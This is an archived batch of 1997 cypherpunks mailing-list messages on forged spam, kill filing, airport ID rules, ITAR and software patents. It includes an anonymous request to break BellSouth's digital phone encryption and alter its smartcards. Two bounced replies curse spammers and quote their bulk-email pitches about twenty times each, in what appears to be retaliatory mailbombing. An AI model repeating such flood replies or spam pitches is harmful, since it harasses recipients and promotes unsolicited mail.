MIME-Version: 1.0
Content-Type: text/plain


The 'A special offer' posting was fraudulent, and from UUNet, not from the
NetWizards domain, or NetWizards newsservers. If you'll examine the
headers in the message, you will find this to be true. If you'd like to
complain, please contact the UUNet Administration. This is the second spam
this lamer has posted, and the only person he's hurting is himself, and
users of Usenet. 

Dozer (aka Bill Rockefeller) is the System Administrator at NetWizards,
and does NOT approve of spam in any way, shape or form. All of these
schemes are illegal, and a waste of time. Get a job, work for a living. :)
For more information on the REAL Dozer (not the SPAMMER), feel free
to drop by his homepage, at http://www.dozer.com, and look under Dozer's
section. Dozer also runs the Mustang 5.0 Mailing list for the Internet, 
if you have a Modified Mustang 5.0, or are interested in them, email 
50ml@netwiz.net. 

We apologize for any confusion the poor misguided soul that posted the 
fraudulent message may have caused. :)

Note: Mailbombing this address is quite useless. It filters all 
mailbombs, etc, and has unlimited space.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Rockefeller <dozer@megan.netwizards.net>
Date: Thu, 16 Jan 1997 15:28:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A Special Offer!
In-Reply-To: <3.0.32.19970116172834.009fe100@toad.com>
Message-ID: <199701162323.PAA10832@megan.netwizards.net>
MIME-Version: 1.0
Content-Type: text/plain


The 'A special offer' posting was fraudulent, and from UUNet, not from the
NetWizards domain, or NetWizards newsservers. If you'll examine the
headers in the message, you will find this to be true. If you'd like to
complain, please contact the UUNet Administration. This is the second spam
this lamer has posted, and the only person he's hurting is himself, and
users of Usenet. 

Dozer (aka Bill Rockefeller) is the System Administrator at NetWizards,
and does NOT approve of spam in any way, shape or form. All of these
schemes are illegal, and a waste of time. Get a job, work for a living. :)
For more information on the REAL Dozer (not the SPAMMER), feel free
to drop by his homepage, at http://www.dozer.com, and look under Dozer's
section. Dozer also runs the Mustang 5.0 Mailing list for the Internet, 
if you have a Modified Mustang 5.0, or are interested in them, email 
50ml@netwiz.net. 

We apologize for any confusion the poor misguided soul that posted the 
fraudulent message may have caused. :)

Note: Mailbombing this address is quite useless. It filters all 
mailbombs, etc, and has unlimited space.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Gurski <mgursk1@umbc.edu>
Date: Thu, 16 Jan 1997 13:01:19 -0800 (PST)
To: cypherpunks list <cypherpunks@toad.com>
Subject: Kill filing
In-Reply-To: <v03007808af042a232676@[139.167.130.248]>
Message-ID: <Pine.SGI.3.95.970116155633.13404A-100000@umbc10.umbc.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 16 Jan 1997, Robert Hettinga wrote:

> At 1:05 pm -0500 1/16/97, Ed Falk wrote:
> >	/toto/f:=:j
> >which displays the subject lines as it junks the articles.
> 
> And, in my case, Eudora displays each message in the status window as it's
> bringing something down from the POP server, and again as it filters.
[snip]
> 
> So, Toto, you're not in "Cansas" any more. It's called a "Trash" folder.

I used to have procmail shove messages from certain folks directly to
/dev/null, but then wondered a few days ago if I were missing
anything, so they ended up going to $MAILDIR/.in.garbage.  After
looking in there today, I'm glad to say that it's back to /dev/null,
with no regrets.

Of course, with the new moderated list, there shouldn't be too much
work for procmail, except for those folks who I personally feel aren't
worth reading...


--
|\/|ike Gurski  mgursk1@umbc.edu  http://www.gl.umbc.edu/~mgursk1/
finger/mail subject "send pgpkey"|"send index"  Hail Eris! -><-  O- |Member,
1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570  |   Team
My opinions are mine alone, even if you should be sharing them.     |   OS/2
	    Senate Finance Committee Chair, SGA 1996-1997





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Thu, 16 Jan 1997 17:06:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bellsouth DCS System..Any thoughts
Message-ID: <199701170043.QAA04634@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Comrades....and associates

Has anyone had any experience in verifying the encryption
scheme used in Bellsouth Mobility DCS system. Apparently,
the system utilizes a signal from 1,850 - 1,925 mhz, and
the the signal is encrypted there after. I've been told that
no one has been able to decifer a conversation as of yet. 
Also, has anyone been able to view or alter the contents on the smartcard within the phone......


All suggestion will be analyzed carefully at discretion



Thanks in advance.......
Antonio Montana....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Thu, 16 Jan 1997 13:48:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: National Security State has different standards for 'them' and 'us'
In-Reply-To: <199701161947.LAA26644@notesgw2.sybase.com>
Message-ID: <Pine.GSO.3.95.970116164330.27099A-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


I was distracted a bit but I believe I heard on NPR news this morning that
Colorado Guv. Roy Roemer showed up at an airport sans id and had a moment
of difficulty getting on his flight.  Roemer solved the problem by showing
the Federal Permission-To-Fly checker a picture of himself in a recent
newspaper.

I thought the ill-defined (or ill-described) rules required presentation
of a _government_ picture I.D.  Since when is a newspaper photo a
government picture I.D.?  

Some animals are more equal than others.

bd






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Thu, 16 Jan 1997 15:29:26 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: re: Airport security [no such thing]
Message-ID: <01BC03D2.A3F21CA0@s14-pm05.tnstate.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


At 11:11 PM 1/15/97 -0700, C. Kuethe wrote:
>>Yeah... took the words outta my mouth.  Let's all write to the FAA, DOT, etc.
>>and tell them what morons they are...  sorry tell them that they need
>>work. No
>>more Lockerbies, TWA800's and other such tragedies.

Lucky Green wrote
>Write them? Why? How are they going to prevent someone from boarding with a
>bottle of aftershave containing the extra strong flavor? A bottle that will
>be left in the seat? One could cut open the seat if need be. [Dozens of
>other examples omitted in the interest of brevity.]

I say we make people fly naked and ship their stuff via UPS ;).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Thu, 16 Jan 1997 18:07:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ebonics bye!
Message-ID: <199701170128.RAA09160@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


be unsuscried




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MAILER-DAEMON@Alpha.remcan.ca (Mail Delivery Subsystem)
Date: Thu, 16 Jan 1997 15:37:07 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Returned mail:  Host unknown (Name server: softcell: host not found)
Message-ID: <199701162230.RAA04447@Alpha.remcan.ca>
MIME-Version: 1.0
Content-Type: text/plain


The original message was received at Thu, 16 Jan 1997 17:30:05 -0500
from Dial50.Solutions.Net [204.112.6.160]

   ----- The following addresses had delivery problems -----
<info@softcell>  (unrecoverable error)

   ----- Transcript of session follows -----
501 <info@softcell>...  550 Host unknown (Name server: softcell: host not found)

   ----- Original message follows -----
Received: from shawn by Alpha.remcan.ca via SMTP (940816.SGI.8.6.9/940406.SGI.AUTO)
	for <info@softcell> id RAA04443; Thu, 16 Jan 1997 17:30:05 -0500
Return-Path: <cypherpunks@toad.com>
Message-Id: <3.0.32.19970116173554.00965260@toad.com>
X-Sender: cypherpunks@toad.com (Unverified)
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 16 Jan 1997 17:35:58 -0600
To: info@softcell
From: "cypherpunks@toad.com" <cypherpunks@toad.com>
Subject: Re: Bulk e mail software
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

FUCK YOU SPAMMER


At 05:59 PM 1/14/97 PST, you wrote:
>Received: from iq-mcp.iquest.net (iq-mcp.iquest.net [206.246.190.153]) 
>by toad.com (8.7.5/8.7.3) with SMTP id >SAA02218 for 
><cypherpunks@toad.com>; Tue, 14 Jan 1997 18:46:29 -0800 (PST)
>Received: from Default by iq-mcp.iquest.net with smtp
>	(Smail3.1.29.1 #5) id m0vkHlU-005X2uC; Tue, 14 Jan 97 17:55 EST
>Message-Id: <m0vkHlU-005X2uC@iq-mcp.iquest.net>
>From: info@softcell
>Date: Tue, 14 Jan 1997 17:59:01 PST
>Subject: Bulk e mail software
>Precedence: bulk

>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>
At 05:59 PM 1/14/97 PST, you wrote:
>Please put remove in the subject and press 
>reply if you do not want mail from us
>
>Would you like to bulk E-Mail without getting your service
>terminated?
>
>Get the software for FREE?
>
>And not send mail to people who do not want it?
>
>Just visit our web site located at.
>
>http://www.softcell.net
>
>
>
>
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 16 Jan 1997 17:36:19 -0800 (PST)
To: proff@iq.org
Subject: Re: New US regs ban downloadable data-security software
Message-ID: <3.0.1.32.19970116091533.0062ece0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:53 AM 1/15/97 +1100, proff@suburbia.net wrote:
>If you read ITAR you will see that State explicity bans export of any
>operating system with a security rating of B2 or above.
>The adgenda is pretty obvious.

Actually, it's less obvious than that :-)
The only way to get a security rating of B2 or above (or even D or above)
is to submit your operating system for rating by the NCSC, which is
a long, expensive process even for C2.  By the time you get to B2,
you're dealing with products that may have real-world uses but are
primarily designed specifically for the military market. 
One of the sensitivities, besides keeping Scary Foreigners from getting
Real Operating Systems, is that it makes it easier for the Scary
Foreigners to look for any bugs the NCSC may have missed and understand
any other weaknesses that the products may have which would let them
break into US Military or Intelligence Agency systems.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 16 Jan 1997 17:36:14 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <3.0.1.32.19970116093545.0062ece0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:13 PM 1/14/97 -0800, jim bell wrote:
>US.  Alone, that would have denied non-US patents to RSA.   However, such an 
>explanation grandly ignores the fact that computer software (let alone 
>mathematics in general) was not considered patentable ANYWHERE (?) before 
>public-key systems made their appearance in 1976.
...
>I'm still waiting for an "innocent" explanation for the US patent office 
>beginning to issue software patents.  I don't think there is one.

The first software patent was Dennis Ritchie's patent on setUID.
Computer security is one area that, if you're going to allow patents
on software at all (which I think are a bad idea, but that's politics),
are likely to yield novel processes that will benefit the public
if they're published.  If you want an "innocent" explanation,
it's that computers were finally starting to be affordable enough
and software to be portable enough that there was a software market
developing, and therefore there was money to be made (or stolen.)

Before the mid-70s, there wasn't really much software that wasn't 
either obvious to a skilled practitioner (hence non-patentable),
or else intimately tied to tweaky little details of some hardware product,
where the hardware is patentable and the manufacturer is perfectly
_happy_ to have everybody write non-portable code that locks you into
using a FooBar 9000, while letting them claim that this code lets
you run your applications 99.44% faster on the 9000 than on an IBM.
And most early software patent applications _did_ include descriptions
of some tweaky hardware implementation to make them fit better
into the Patent Office mindset.

Of course, the Patent Office, which didn't hire "software engineers"
for a long time, had entirely no clue about what was obvious to skilled
practitioners, so they've let all kinds of things be patented that
were widely used in the trade, like XOR cursors and online commerce.
But that's a flame for another newsgroup.

>It also ignores the strong likelihood that the reason for the Patent-Office 
>policy change (done, apparently, without benefit of a corresponding law 
>change) was because with public-key/RSA there was finally an example of 
>software the government wished to deny to the average citizen, 
>and the only mechanism (short of secrecy, which was broken) to do so 
>was to patent it.  

D,H,R,S, and A didn't _have_ to apply for patents....
With hardware security products, the NSA has the power to seize and
classify systems which are applying for patents, for no particularly
good reason, and they used to do it often.  For instance, there was
an analog scrambler for CB radios that got its patent applications
seized in about 1980.  And most software patent applications for
crypto have involved machinations to avoid getting trapped by this,
like publishing in foreign journals before submitting applications.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MAILER-DAEMON@Alpha.remcan.ca (Mail Delivery Subsystem)
Date: Thu, 16 Jan 1997 15:47:32 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Returned mail: User unknown
Message-ID: <199701162241.RAA04820@Alpha.remcan.ca>
MIME-Version: 1.0
Content-Type: text/plain


The original message was received at Thu, 16 Jan 1997 17:41:06 -0500
from Dial50.Solutions.Net [204.112.6.160]

   ----- The following addresses had delivery problems -----
<remove@mindspring.com>  (unrecoverable error)

   ----- Transcript of session follows -----
... while talking to msmx2.mindspring.com:
>>> RCPT To:<remove@mindspring.com>
<<< 550 <remove@mindspring.com>... User unknown
550 <remove@mindspring.com>... User unknown

   ----- Original message follows -----
Received: from shawn by Alpha.remcan.ca via SMTP (940816.SGI.8.6.9/940406.SGI.AUTO)
	 id RAA04816; Thu, 16 Jan 1997 17:41:06 -0500
Return-Path: <cypherpunks@toad.com>
Message-Id: <3.0.32.19970116174655.00970150@toad.com>
X-Sender: cypherpunks@toad.com (Unverified)
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 16 Jan 1997 17:47:02 -0600
To: cybergy@mindspring.com (Opportunity1), remove@mindspring.com
From: "cypherpunks@toad.com" <cypherpunks@toad.com>
Subject: Re: Is this true?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

FUCK YOU SPAMMER


At 10:58 PM 1/8/97 -0600, you wrote:
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
from 18 different sources.  Users of Floodgate and Pegasus are rushing to
get their hands on this product.  It's so easy to use that I found myself
stripping addresses and doing my first mailings within hours after
registering it.
>
>As Entrepreneurs we understand the key to success is recognizing where the
market is.  The Internet is full of people promoting products and services.
 Now you can offer them the tool they need the most.
>
>For more information email me at cybergy@mindspring.com
>
>If you would like to be removed from any future mailings simply send email
to remove@opportunity1.com.
>
>Thank you,
>Walter Cantrell
>
>
>My information tells me you are someone looking for an opportunity to make
extra money.  What if you could market with the best bulk email product
available and at the same time make $100 every time you refer someone else
to buy it?
>
>This bulk email program can personally address your letters which alone
can greatly increase your response rate.  It also can download addresses
